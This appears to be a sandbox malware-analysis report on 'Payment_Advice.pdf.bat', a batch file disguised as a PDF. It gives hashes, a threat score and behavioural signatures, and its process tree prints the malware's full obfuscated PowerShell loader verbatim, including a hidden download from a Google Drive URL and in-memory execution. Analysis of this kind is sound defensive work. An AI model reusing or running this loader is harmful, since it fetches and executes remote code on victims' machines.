Analysis
-
max time kernel
300s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
05/11/2024, 01:06
Static task
static1
Behavioral task
behavioral1
Sample
Payment_Advice.pdf.bat
Resource
win7-20240903-en
4 signatures
300 seconds
Behavioral task
behavioral2
Sample
Payment_Advice.pdf.bat
Resource
win10v2004-20241007-en
18 signatures
300 seconds
General
-
Target
Payment_Advice.pdf.bat
-
Size
7KB
-
MD5
21f91634f445a50f35c006b0c020d0e5
-
SHA1
64515fa088794b3a62d9863a923b0826e55fecdc
-
SHA256
b86eb964387f5ed092dad608dd90e9db78fc16d813e6c0720ef409ff458df8d6
-
SHA512
cd85d95ffac19c47fd06ccc3ac21e6fa4448237572db89d95d0d4f880ef52661998743bb6a152727cf28e472becebc314e62f3f92aad4b5bd5aa885ca6662555
-
SSDEEP
192:83QlNCq7EH9QUjeYtgpcWOUSNAx21W9v7iBLzP3:4oNCqQ9XqYt2SNe214OJzP
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2344 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2344 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2344 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1924 wrote to memory of 2344 1924 cmd.exe 32 PID 1924 wrote to memory of 2344 1924 cmd.exe 32 PID 1924 wrote to memory of 2344 1924 cmd.exe 32
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Payment_Advice.pdf.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden " <#Nailsickness Fllens Inhaling Mummied Sacrospinous bonafide Arthropathy #>;$Abater='Sensibleness82';<#Loger Gestusernes Quittances #>; function Hensigtmssigheds142($Hanefjedsmnster){If ($host.DebuggerEnabled) {$Gemmily++;}$Hypercholesterolemic135=$Magnetoplasmadynamics+$Hanefjedsmnster.'Length' - $Gemmily; for ( $Pantebrevshandelen=5;$Pantebrevshandelen -lt $Hypercholesterolemic135;$Pantebrevshandelen+=6){$Pollocks=$Pantebrevshandelen;$Vandpibernes+=$Hanefjedsmnster[$Pantebrevshandelen];}$Vandpibernes;}function Winonas($Rigelian){ & ($Spillene) ($Rigelian);}$Blgebryderes=Hensigtmssigheds142 'P oblM Dis,oGravkzHayshiMechalUdviklMissaaVivif/ Felo ';$Sprogvidenskaberne=Hensigtmssigheds142 'LeuciTPaleol .tbesEarsp1 S en2Vesuv ';$Tepee=' heli[ celenKumuleEmusztFljls.D nneS vtrEMistnRZircoVTum eiKnoc,cOverweMac ep trkokinneIformeNFundattalipmFrienAJun.tnunfloATi.glGRelecESvangr Hkl ]Svlgs:Umbri: ourSWariseB,ddecpartiuTapesrd areiSubroTAgteryAntiaP StrmR Tommo StrotPyrenoAllicCDisafORisinl Plug= vrgp$TroldSPr.cePmejetrFluoroStaleg.aadpvEchoiiShelld De iEBishoNOpp,ssDdsenkForsta runbOpgavEExaugrFiskenInelee.hila ';$Blgebryderes+=Hensigtmssigheds142 'syste5Jemed.Inabo0Parad Hydri(Pe,ipWMo,ieiAfstanDatoldTo oro St pwScopisSalon KancN TraeTno au S mit1Ins e0M,ris.Slags0 Semi; P,ed Hyp,rW OuthiAnmienVelko6capre4 Pase;Flora tyv,sxB tan6Desmo4Chemu;Refur SolinrSt.fpvDru.a:Ste.e1Solbr3 arsu1 Hibe. ugti0Refl )Epi r OmtaaGKgfnue CambcFormlktillyo I it/ Alaz2Brneg0Anhol1C mba0Kirke0konte1miske0Haze 1Apiac gemy FBrstii MunirEmalje Amorf Fa eo CajuxMulti/ El,c1Theod3Trus 1Toupe.Salpi0 Dad ';$Ristningers=Hensigtmssigheds142 'PunglUant lSGorgoEU.camRSha l- RobuaTolvtG .rkaeI chmnByedaTBogfr ';$divagations=Hensigtmssigheds142 'Kedelh Rebetunsp tmedlip Sc.tsEleos:Estiv/et no/Sap.udaltetrMais iS idsvEc noeKunst. Ud egGrievoGymnao tocgBatiklSalaaeSpr g.pistecDiss ocon.emPejl / pistugenkec Tilk?Pa roeGooksxForg pRufouoSgetirOverltSamme=Grog,dNonapoKvartwEsprinNonexl JrgeoScul aProdudJacka& ippeiUf,ttdForud=Prein1 BestuBett t nthrAAlung-Una lxMarke9ArcheSN tioQ aalJMirthuFl.geEMind.9.oong0SoberbSprge4TandbXHif lnDialy8 SvorwParnenPromisBenefQSuffeR kia4Ge,iak nectL.ommep ParaVAllanQDrtrss dbetsForstoFolio ';$hormonises=Hensigtmssigheds142 ' Unde>Mac,i ';$Spillene=Hensigtmssigheds142 'In,raIVetoeESaddlXMolly ';$Velsituerede='Unpetrified';$Staphylea='\bhutia.Air';Winonas (Hensigtmssigheds142 'Lys y$ lansGResulL TartoStef bpanfuaPreneLTreda: be oPRevolhAtrenlformaEInfidb,gtigoLintsT Monoo Ch,rmcolorYKo.pe=Bloka$ iskeeBi teNKomplVArmer:KommaaMyresP Epo.pDumpeDaldera M geTKaktuA Sejs+Offic$ Eu ys CodeTTremmAPortuPSuperHAltery Rif L,onceE owteaOccip ');Winonas (Hensigtmssigheds142 'Neds,$halskGE.sfoL Di ko R sobSolkra Br nLBoxie:O erlFBl ktO AraerStiltGHy rarRatefUBeastNW,oleDBlo ksUn,ffFSwaddAOctilrSplanVParroEThyrsrAlbum=Flers$Fea hd Hu aIFe,ltVTi,faa verng I.trA TractGeb.kiEmpowOludben ainfs Trkn.Ja,ziSShu.tpSicklLIagtti St lT Neon(Besv $HalfphAdstroVakuurV estm andioCreesnEmbraiFrostsSq adeagnewS Dal,) tora ');Winonas (Hensigtmssigheds142 $Tepee);$divagations=$Forgrundsfarver[0];$Noseover=(Hensigtmssigheds142 'Nongo$T lvigLrlinL N alO fuldb onfiAda.vrLC eer:,cillmAvestAalvisrSpiseo ImpekAntndkNit iahypernRetteE debiRSpildEMohelSOffer=ChowanYan ue .unkw,rafi-.egynoUnth BTa tajSprinE OxheC,irbuT ydro .idesssla vy jumbsMidtstAu onesnic,mGrasp.TofuknArsoneSandhTUvanl.UdkldWSkimleGv.raBidio.c Saftl ,ariIT rmiE herenrad cTFibre ');Winonas ($Noseover);Winonas (Hensigtmssigheds142 'Mande$ S,avM SpecaBerkor bil oChampklrevik mattafiltenTvrdreRoa sr Mat,e waapsVarme. opskHP reeeTaleba ForsdM.chae La nr ,agosblaat[Usa d$EkstrRLinjeiSm llsFrkrit Dis nS aldi FlignUdpl gIm,roeHopefrPristsFrapl]Logic=S lin$HailwB Fol.lSpottgparaseMetapb ordorLivsfyP llad ,odeeDikdirDishaeIncoisMenin ');$Modtagelsesdatoens=Hensigtmssigheds142 'Circ $ Fe rMAdjunaHeeltr levioAssockRos,dkL,ngsaInfranDollae.rainrUndeceBallisR arb.agersDTubaeoFlankwClearn studlTippeouni oaAnortd,ilflFFunkti riklObstreleuci( Sub $StilfdBesluiPibervPapyrale engSmel aAuditt udgii SubsoLean,n ractsVredt,Miche$Panc R a ago SindwknejsaOmbranPon,ebOptagelytt r MorerEpigryGro,n)Uniso ';$Rowanberry=$Phlebotomy;Winonas (Hensigtmssigheds142 '.eopa$HaandG,espelElastOFil pbHent avatt,lAired:WyledUOuthedTei,tlMuseuIT utoGprogrGImpere UfejRUov rBS praA rypAstuk.DStrideEfterN O tsSResor=col m(KropltTegl eRevensDeorwt V ge-Sing pUdvikaFrilathanaphS.bur F,oks$OrtogRB otloR comwAcet aAlexiNKnipsbHydroESlikprDecasrUdst,Y Fost) bran ');while (!$udliggerbaadens) {Winonas (Hensigtmssigheds142 'milli$bimilg SphelKas eoSkralbBaccha O thl Atte:GladsN N dseKobbelRensneF ndss,mutc=Inter$AgaintHaardrBeskru BreveB nqu ') ;Winonas $Modtagelsesdatoens;Winonas (Hensigtmssigheds142 'corolSStundTProf.amresfrUsli TMass -BetydsAlbueLforskeIns aE ybatpCheck entr.4Blokh ');Winonas (Hensigtmssigheds142 'C ris$cr,diG BusklAnnonoSt mpbSnupta,ukkel rund: StraUSort,dS perl VelsiInde,gHungrGFingeetomm,R doz b SwinA StraaS eepD KrakEbifalNKonnes Ridt=Udsp (Seje TForbrEKla.hSKogtet ytho-KltriPLenosaSystetTeks H Mate Att.i$SprecRDolkeo,rovewSucceASamojNNa coB FejleEaverr GennRNu haYBankn)Creat ') ;Winonas (Hensigtmssigheds142 'Inc r$ Kas GUltral P.dfoCheepB OktaaRa eoL,mrer:La geRStln.i Te.cDBer meN ncoHAnnike bar s T,llT CotieForu =Subpr$ UndeG Jag,L MarcO,osheBG.emaaAffluLHydr :enjoikFlambrTilsteSammesBacksT FremeKogen4Sanit7 unn+med,e+Korp %Rifbj$Footmfconfio DuperDedikGProgrR BemaU kgsbNFremkDS inns Ud pf UpfraWreatRglucoVTra ieB acarOpdri. Om.tc UndeOFriedUNettoNTopi,T Skrk ') ;$divagations=$Forgrundsfarver[$Rideheste];}$Colley=336825;$Alrunerodens=30714;Winonas (Hensigtmssigheds142 'Blind$Lde iGsprinlByggeO Va dB VindA.orenlPriva:FavrsK SimuyJern a,mpiruHuskenTelesGRadi. Teoso=semi Naes,Gforbre StilTYello-Mo ilcDjvleoDatasNFygerTShye ESkoddnCoregT inst Astar$ NursRNarraOVirksWGeoloASure,nCircuB Dispe OffeR F kurS.ermy Tant ');Winonas (Hensigtmssigheds142 'Creat$ EtamgMa tel AfteoVestab ArseaKatetl .rst:PamflT UranjMenneePorn nVideoeHydros Hea tSimuleIchthm OlseaOverdnEnrobd,verds I dsl IncooGateavCounteKampkn atoe RabbsTampo Indda=Gunn Sudse[ UdskSAfkbeyFejlpsAbysstforsteOutw mOphol. DiakCNi onoChenfn Struv Havee Te trMiniat nac]En eg: Stri: uricFForlir B.rio nebbmOoze,Bhexosa Ta lsKvgeneKlogs6Aarhu4Ser mS ClartBenf,rSolv iTellunMund.gVejba(Unexa$,argeKF,mteyanatoaGeopouSystenSlipegkandi)Qui q ');Winonas (Hensigtmssigheds142 'Salut$GantlGGlassLBodleo A,arbgul.mABloduLKrepi:DiateTSkydeEBlretrEm.eaRFlo piTwyerN Bu,a Ggler=Thigm preli[OplggsPernyY Tetrs,endiTUhjlpE elanmIndes.stibetFormueDisprXUdgraTStime.SauraESalpenAngorcPoemeoNytaaDgaffeiPinboNNonadgCirku]Kn ld:Spa k:FiligASamfusS,vbrcHvidkIPromiIHelio. O deg U veeAntedtNectas BractBloodrConvuI M ltnOperag Ot s( Leg $BrudeTBrnefjf,rcaE Tre nSmrinEK treSPseudtOmvenESu erMK,mibaMytedNEmbr d coosEwh wlRegiooHap.ov,etniE Angen,olkeeLa resSur e)Mollu ');Winonas (Hensigtmssigheds142 'F lka$SubjuGDiploLAlkoho StenbIgnoraOvergLBowep:AggloPEkkoeaTrre T Ret eB unsNKolo,t BraclSmrekY Sub,=Slaas$ Va,gTLejeve RapiR AssurPianiI odpaNA.pha. U,nosudpibUKolleBPoc es acocTAvisfRUn doibagpiNrourkg Lers(Hydra$SoldyCFlowco Tun LUnderL Smrbe B,vayHjere, Perc$ValutAHalvkl Propr ArmaUVikinnUnorieR egerSto,hOBrystdSkrivE trgen A busHumph)Leono ');Winonas $Patently;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2344
-